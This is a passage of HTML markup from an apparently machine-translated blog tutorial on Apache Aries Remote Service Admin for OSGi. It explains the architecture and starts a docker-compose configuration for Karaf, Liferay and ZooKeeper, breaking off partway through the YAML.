    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;188\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20188\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M102%2025c0%2022-1%2021%2019%2021h15v42h-4l-4%201%204%209c3%206%204%209%204%2013v5h36v25h-4l-4%201-1%2013v13H22v-61h5c5%200%206%200%207-2v-3l-1%202c-1%202-2%202-15%202-15%200-14%201-10-10l3-5%2013-1h14l-2%205-2%206%203-5%202-7-15-1H10l-3%208-4%2010%209%201h9v63h142v4c0%202%200%203%202%203l1%201%2035%201h35v-8l71-1h71v-63h5l-8-1h-14v-3l-1%202c-1%202-1%202%207%202l9%201v30l1%2030H236v-12l-1-12-2-1-3-2h-3v-25h35v-9h5l4-1-4-9-5-9V46h36V29c0-17%200-17-2-19s-6-2-37-2h-34v18l1%2017%202%201c1%202%204%202%2017%202h16v45l8%2014c0%202-15%201-15%200h-1c-1%202%200%202%204%202h4v8h-36v26h-7V98h19l19%201%202-2h-21l-20%201-1%2021v22h-34V97h-19l-20-1%202-3c2-4%201-5-3-5h-4V46h36V28l-1-18-2-1-34-1h-35v17m2-15l-1%2016v16h67V10l-33-1-33%201m123-1v33h67V10l-34-1h-33m101%2041c0%202-2%203-5%202l-3%202-1%203v-3c0-2%200-2-2-2l-3%201h-1l-7-1c-5%200-6%201-6%202v2l-1-2-2-2c-2%200-2%201-2%202%200%202%201%203%204%203l5%201h2c1-1%203-2%204-1l3-1h1c0%202%202%201%202-1s0-2%201%200c1%201%202%202%209%202h8v-5l-2%202-2%203v-4l-1-3h-1m24%200l-3%202-1%201h-1c-2-2-3-1-4%201s-1%202-1%200c0-3%200-3-2-3l-3%201c-2%200-2%201-2%203s0%202%201%201l1-1c0%203%202%202%202%200l1-2v2c0%202%201%202%204%202s3%200%202-1v-1l2%201%201-1c1-2%201-2%202%200l1%202%201-2c1-2%201-2%201%200s1%202%204%202%204%200%203-1l-1-1%201-2c1-1%200-1-1-1-5%200-8%200-6-1v-1h-2M31%2080c-1%201-1%202-2%201-2-1-8-1-8%201-1%202%202%205%203%204l-1-2v-1l2%201h1c0-2%202-3%202%200l1%201h3l2%201h3c1-2%202-2%203-1h2c1-2%202-2%202-1%201%201%201%200%201-1%200-3%200-3-1-2h-1l-2-1v4l-1-2h-1l-1-1-2-1c-1%201-2%200-2-1%200-2-1-1-3%201m347%202l-2%201h-8c-1%202%200%204%202%204v-2l2%201%201%201%201-1v-3l1%202c0%201%201%202%203%202%205%200%203%201-4%201l-8%201%2014%201h14a383%20383%200%20011-1l-6-1c-4%200-6%200-5-1h4l2-1h1c1%201%201%201%201-1%200-3%200-3-1-2h-1l-2-1v4l-1-1c0-2-3-3-5-3h-1c0-3-1-2-3%200m-245%208l-3%201%207%2013%207-13c-1-1-8-2-11-1m7%2012l-2%208v5h35v26h8V99l-20-1h-19l-2%204m-18%201c-1%202-6%202-8%201-1-1-5%200-5%201H98l-4-1c-4%200-5%200-5%202v3l-2-3c-2-3-5-2-5%201%200%202%203%203%204%201h1c0%202%206%201%206-1h1l1%202%201-2h1c1%203%203%204%204%203s3-2%204-1l3-1h1c0%202%202%201%202-1h1c0%202%207%203%207%201h1c2%203%205%201%204-3%200-2-1-3-2-2m42%2056v16h34l33%201v-33h-67v16\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b0b9bd93e70a725ff9303415def56d45/c85cb/100-architecture.webp 300w,/static/b0b9bd93e70a725ff9303415def56d45/e88ff/100-architecture.webp 600w,/static/b0b9bd93e70a725ff9303415def56d45/63990/100-architecture.webp 637w&quot; sizes=&quot;(max-width: 637px) 100vw, 637px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b0b9bd93e70a725ff9303415def56d45/5a46d/100-architecture.png 300w,/static/b0b9bd93e70a725ff9303415def56d45/0a47e/100-architecture.png 600w,/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png 637w&quot; sizes=&quot;(max-width: 637px) 100vw, 637px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 5 - Remote Services Architecture&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png&quot; title=&quot;Figure 5 - Remote Services Architecture&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Remote Services Architecture&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The project
&lt;strong&gt;&lt;a href=&quot;https://github.com/apache/aries-rsa&quot;&gt;Apache Aries Remote Service Admin (RSA)&lt;/a&gt;&lt;/strong&gt;
allows you to transparently use OSGi services for communication
remote. OSGi services can be marked for export
adding a service property &lt;strong&gt;service.exported.interfaces=*&lt;/strong&gt;. Various
other properties can be used to customize the way the
service must be exposed.&lt;/p&gt;&lt;p&gt;The figure below shows the Apache Aries Remote Service Admin architecture
(RSA) that if you notice shows the components described by the OSGi Remote specifications
Service (RS and RSA). The &lt;strong&gt;Endpoint&lt;/strong&gt; describes a service using the
service interfaces, URL and any other properties needed for
successfully import the remote service. The &lt;strong&gt;Endpoint Listener&lt;/strong&gt; is a
service that must be notified when there are changes on &lt;strong&gt;endpoints
remote&lt;/strong&gt; (described by OSGi filters) are registered or de-registered.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1b8af98e91b71e930b0b06108c560509/9ac09/diagram-architettura-apache-aries-rsa.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;227\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20227\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M6%2015l-1%203%201%201c1-1%203%200%203%201h2c2-2%203-1%202%203v4h4l5-1h1l6%201c4%200%205%200%205-2s-1-2-2-2c-1%201-2%200-2-1h-3l-4%201-4%201-2-1-2-4h13c11%200%2012%200%2012-2l-4-1-4-1h-5l-3%202h-1v-2H12l-2%201H9c-1-2-3-3-3-1m55%208c0%203%204%205%204%201l1%201%201%202v-2c0-2%200-2%201-1%201%203%203%204%204%203l4-1%204-1%201-2%201%201c0%201%202%202%205%202%205%200%205%200%205-3s0-3-1-2H63l-1-1-1%203m49-2l-1%203c0%202%200%202%204%202l4%201h2c1-1%203-2%205-1l4-2h1c0%201%201%202%205%202%205%200%205%200%205-3s0-3-1-2l-6%201a300%20300%200%2000-19-1h-3m122%204c-1%201-2%202-4%201l-2%201-2%202v-2l1-1c1-1%201-1-1-1-3%200-4%203-2%205%202%201%205%201%205-1h1l3%201%203%201h3l2-1c1%201%207%200%207-1h1c1%202%204%202%204-1%201-2-1-4-2-2-1%201-4%201-5-1h-1c0%202-8%202-9%200h-2M87%2029v3c-1%203%200%203%204%203%203%200%205-1%205-2%200-2%202-1%202%201h3l1-1c0%201%201%202%206%202%206%200%207%200%206-3%200-1-1-2-6-2h-7l-2%201H89v-2h-2M32%2046v17h-3c-5%200-5%202%200%2010%203%205%203%206%203%2012v7h-6c-6%200-6%200-9-3-3-4-3-4-7%203-4%206-4%209%201%209h2v30c0%2048%201%2071%203%2073l40%201h39v5l1%206h98v-11h15c4%200%205%201%205%204%200%205%202%206%201%201%200-6-2-7-12-7l-9%201v-21h7l7-1h-14v-11h-27v-14l1-15%202-4%203-5c3-3%200-4-7-5-8%200-10%201-7%205l3%205%202%204%201%2014v15l-22-1-23-1%201-12c0-13%200-13%202-13h4c2-2%202-2-1-7l-4-6-1-14v-12h47v5l-1%206c-2%200-3%203-1%203%201%200%203-4%203-9v-6h25V94l24-1h25v3c0%206%202%206%2011%200l5-3h23l-13-1-12-1-2-1-5-3c-5-3-7-2-7%202v3h-49V72h23l23-1-23-1h-24v-5l1-5H94l49%201h49v42H96V70H82l-15%201c-1%201-1%201%202%201h26l-1%2010v10H33v-7l1-8%201-1c0-4%203-5%2016-4l14-1c1-1-3-1-13-1-8%200-14%200-13-1%202-1%201-5-2-6-4%200-4-1-3-12%200-9%200-10%202-10%202-1%202-1%200-1-3%200-3%200-4%206m214%2020l-4%205%2010%208c2%201%204-2%204-5v-3h13l13-1h-26v-3c-1-5-4-5-10-1M21%2094c2%203%201%206-3%207h-3v51l1%2051h79v-20H73a5591%205591%200%2000-40-1l-1-45V93h-6c-5%200-6%200-5%201m12%2043l1%2044h61v-11h24v-12c1-13%201-14-2-14-5%200-5-2-1-9l4-6-1-12-1-12-12-1H94V94H83l-31-1H33v44m293-33h25v23l-5%201c-24%205-19%2036%205%2036%205%200%2015-3%2014-5l-5%202c-14%206-31-4-29-17%202-9%209-14%2020-15%2014-1%2024%2012%2017%2024-2%204-1%205%202%201%202-4%203-13%200-17-2-4-10-9-15-10h-3v-23h21l-25-1c-26%200-35%201-22%201M43%20131c0%202%200%203%203%203l4-1h1c0%202%204%201%204-1h1c0%202%2012%203%2012%200%201-1-1-2-4-2l-17-1c-2-2-4-1-4%202m150-2l-1%203c0%202%2010%203%2010%200h1c0%202%208%203%208%201h1c0%202%206%201%206-1s-3-3-6-2-16%200-16-1h-3M67%20140l1%203h8c8%200%209%200%209-2h1c1%202%207%203%207%201l1-2-1-1H77l-4-1-1-1-1%203-1%202-1-3-1-2-1%203m178%2021c-5%202-9%205-10%208%200%202-1%202-10%202h-10l10%201c10%200%2010%200%2011%203%205%2012%2039%209%2039-4%200-8-18-14-30-10m0%202c-11%204-11%2014%200%2017%2013%204%2028-1%2028-9%200-7-15-12-28-8M96%20193v21h31a15759%2015759%200%200164%200l1-21%201-21H96v21m152%2011c-5%202-11%207-11%209l-11%201c-6%200-8%200-4%201%2010%200%2015%201%2015%202%200%202%204%206%209%208%2010%204%2026%201%2030-7%204-9-14-18-28-14m-1%203c-9%202-11%209-6%2013%208%207%2024%207%2031%200%2010-9-8-19-25-13\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1b8af98e91b71e930b0b06108c560509/c85cb/diagram-architettura-apache-aries-rsa.webp 300w,/static/1b8af98e91b71e930b0b06108c560509/e88ff/diagram-architettura-apache-aries-rsa.webp 600w,/static/1b8af98e91b71e930b0b06108c560509/92f8c/diagram-architettura-apache-aries-rsa.webp 1200w,/static/1b8af98e91b71e930b0b06108c560509/62ed8/diagram-architettura-apache-aries-rsa.webp 1800w,/static/1b8af98e91b71e930b0b06108c560509/053bd/diagram-architettura-apache-aries-rsa.webp 2204w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1b8af98e91b71e930b0b06108c560509/5a46d/diagram-architettura-apache-aries-rsa.png 300w,/static/1b8af98e91b71e930b0b06108c560509/0a47e/diagram-architettura-apache-aries-rsa.png 600w,/static/1b8af98e91b71e930b0b06108c560509/c1b63/diagram-architettura-apache-aries-rsa.png 1200w,/static/1b8af98e91b71e930b0b06108c560509/d61c2/diagram-architettura-apache-aries-rsa.png 1800w,/static/1b8af98e91b71e930b0b06108c560509/9ac09/diagram-architettura-apache-aries-rsa.png 2204w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Apache Aries Remote Service Admin (RSA) architecture&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1b8af98e91b71e930b0b06108c560509/c1b63/diagram-architettura-apache-aries-rsa.png&quot; title=&quot;Figure 6 - Apache Aries Remote Service Admin (RSA) architecture&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Apache Aries Remote Service Admin (RSA) architecture&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The &lt;strong&gt;Topology Manager&lt;/strong&gt; by default exposes all services
premises that are appropriately marked for export and import all
the affected services with the corresponding remote endpoints. The Topology
Manager can also add properties for the purpose of changing the way
the services are exposed. For the services to be exposed call the &lt;strong&gt;Remote Service
Admin&lt;/strong&gt;, then the latter performs the actual export, subsequently
notify &lt;strong&gt;endpoint listeners&lt;/strong&gt; of the new endpoint. The Topology Manager
listens for service requests from &lt;strong&gt;consumers&lt;/strong&gt; and creates endpoints
listener.&lt;/p&gt;&lt;p&gt;The Topology Manager is the best place to implement governance rules
at the system level. Some examples of what can be done:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;secure remote endpoints with SSL/TLS, authentication services and
audit;&lt;/li&gt;&lt;li&gt;export of OSGi services with annotations for
&lt;a href=&quot;https://it.wikipedia.org/wiki/JAX-WS&quot;&gt;JAX-WS&lt;/a&gt; e
&lt;a href=&quot;https://en.wikipedia.org/wiki/Jakarta_RESTful_Web_Services&quot;&gt;JAX-RS&lt;/a&gt; although
not specially marked for export.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Per il ruolo del Topology Manager, questo non implementa direttamente queste
caratteristiche ma crea tutte le chiamate necessarie a un Remote Service Admin.&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;Remote Service Admin&lt;/strong&gt; is called by the Topology Manager to expose the
local services as remote endpoints and create local proxy services as clients
for remote endpoints. Apache RSA has a &lt;strong&gt;SPI&lt;/strong&gt; (Service Provider Interface), the
&lt;strong&gt;Distribution Provider&lt;/strong&gt; which allows you to easily create new mechanisms
transport and serialization for OSGi services to be available beyond
outside the container. The diagram below shows the role of the
Distribution Provider.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;213\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20213\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2026v66l1%2065h139V64h3l4%201%201%201v-1l-1-4c0-2%200-2-1-1%200%201-1%202-3%202h-3V26l-70-1-70%201m208%2018v18h-6c-4%200-6%200-7-2-4-4-11%200-8%205%201%202%207%203%208%201%200-2%202-2%207-2h6v92h139V26H217v18M11%2092v64h137V64h-14v9h-23v7c0%203%200%206%201%205%200-2%200-2%201-1h2l5-2c2%200%203%200%202%201l-1%201h4c0%202%200%202-7%202-3%200-3%201-3%203%200%204-1%206-4%206-5%200-7-6-3-8l1-7v-6l-10-1H88v-4c0-4%200-4-2-4-3%201-3%201-3-1%200-3%200-3%203-2%202%201%202%201%202-4v-6h46v10h14V27H11v65m207-48v18h14v-9h46v5c0%205%200%205%203%204%202%200%202%200%202%202%200%203%200%203-2%202-3-2-3-1-3%204v4h-22v7c0%205%200%207%202%207l1%202h-1l-4-1c-1%200-2%200-1-1l1-7v-7h-21l-1-5v-5h-14v17l1%2016h5l2-1c2%200%202%201%201%202v1l-3%202v-1h-5l-1%2027v28h137V27H218v17M15%2047l-1%2017c0%2014%200%2017%202%2017l23%201h22v-9l1-9v-1l-1-7c0-11%201-10-24-10l-22%201m291%2018l1%2017h24l22%201V66l-1-17c0-2-3-2-23-2h-23v18M16%2064v16h42V48H16v16m292%200v16h42V48h-42v16M89%2063v9h44V53H89v10m144%200l1%2010h43V54h-44v9M23%2061c0%202%200%202%2012%201%2016%200%2016%200%2016-2l-3-1h-4l-10-1c-11%200-11%200-11%203m292%200c0%202%200%202%2012%201%2016%200%2016%200%2016-2l-3-1h-4l-10-1c-11%200-11%200-11%203m-63%2032l-2%203-1%202c-1-1-2%201-1%202h1c1-2%201-2%203%200%202%201%202%203%202%208v7h-22v18l1%2017h24l22%201v-17l-1-17c0-2-2-2-11-2h-11v-7l1-8c3-1%203-7%200-8-2-1-2-1-5%201m-143%2013v8H87v17c0%2017%200%2017%202%2017l24%201h22v-16c0-11-1-17-2-18l-12-1h-10v-8l-1-7-1%207m-20%2025v16h43v-32H89v16m144%201v16h43v-32h-43v16\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/c85cb/remote-services-spec.webp 300w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/e88ff/remote-services-spec.webp 600w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/131f1/remote-services-spec.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/5a46d/remote-services-spec.png 300w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/0a47e/remote-services-spec.png 600w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Role of the Distribution Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png&quot; title=&quot;Figure 7 - Role of the Distribution Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Role of the Distribution Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The current providers supported by Apache Aries are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Apache CXF Distributed OSGi&lt;ul&gt;&lt;li&gt;uses Apache CXF for transport;&lt;/li&gt;&lt;li&gt;service endpoints can also be consumed by software != da
Java thanks to the support of the JAX-WS and JAX-WS standards.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;TCP&lt;ul&gt;&lt;li&gt;Java serialization on TCP (one port per service);&lt;/li&gt;&lt;li&gt;very few addictions;&lt;/li&gt;&lt;li&gt;simple to implement your own transport mechanism.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Fastbin&lt;ul&gt;&lt;li&gt;Java serialization
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Protocol_Buffers&quot;&gt;Protocol Buffers&lt;/a&gt;&lt;/strong&gt; (or
Protobuf) optimized over TCP via
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Non-blocking_I/O_%20(Java)&quot;&gt;NIO&lt;/a&gt;&lt;/strong&gt;
(Non-blocking I / O);&lt;/li&gt;&lt;li&gt;multiplexing on a single port;&lt;/li&gt;&lt;li&gt;transparently manages InputStreams and OutStreams in remote services;&lt;/li&gt;&lt;li&gt;Synchronous and asynchronous calls supported.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Discovery&lt;/strong&gt; uses endpoint listeners to listen to endpoints
local and publish them for other OSGi containers. Listen to the endpoints too
remote and notify endpoint listeners of their presence. The current
implementations supported by Apache RSA are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Local Discovery through the use of XML descriptors;&lt;/li&gt;&lt;li&gt;Discovery based by &lt;strong&gt;&lt;a href=&quot;https://zookeeper.apache.org/&quot;&gt;Apache Zookeeper&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For the implementation of our scenario (shown in Figure 4) we will use the
Distribution Provider TCP and Apache ZooKeeper for Discovery. Here we are!&lt;/p&gt;&lt;h2 id=&quot;5-implementation-of-the-remote-µservices-scenario&quot;&gt;5. Implementation of the Remote µServices scenario&lt;/h2&gt;&lt;p&gt;I realize some of you have been hard to get here, but there
we are, the very, very practical part has arrived.&lt;/p&gt;&lt;p&gt;From the diagram shown in Figure 4 some of you will have imagined the scenario of
deployment, yes: container &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; e
&lt;a href=&quot;https://it.wikipedia.org/wiki/Single-board_computer&quot;&gt;SBC&lt;/a&gt; (Single Board
Computer) &lt;a href=&quot;https://www.raspberrypi.org/&quot;&gt;Raspberry Pi&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;51-deployment-environment-configuration&quot;&gt;5.1 Deployment environment configuration&lt;/h3&gt;&lt;p&gt;In order to encourage all of you to replicate the scenario in Figure 4, there isn&amp;#x27;t
nothing better than putting up the necessary services using
&lt;strong&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;docker compose&lt;/a&gt;&lt;/strong&gt;. Via the docker
compose we will configure the following services.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Two Apache Karaf services (version 4.2.7)&lt;/li&gt;&lt;li&gt;A Liferay Portal Community Edition service (version 7.3 GA4)&lt;/li&gt;&lt;li&gt;An Apache ZooKeeper service (version 3.6.1)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The contents of the docker-compose.yaml file are shown below
the configuration details of the above services are defined. All the
images of the defined services are available on the official Docker accounts
Hub of their respective owners.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;yaml&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Docker Compose file for OSGi µServices demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;3.3&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper:3.6.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;always&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;2181:2181&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;9080:8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;healthcheck&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;CMD-SHELL&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;wget http://zookeeper-instance:8080/commands &amp;amp;&amp;amp; echo &amp;#x27;OK&amp;#x27;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;interval&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;5s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;2s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;retries&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;karaf-instance-1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
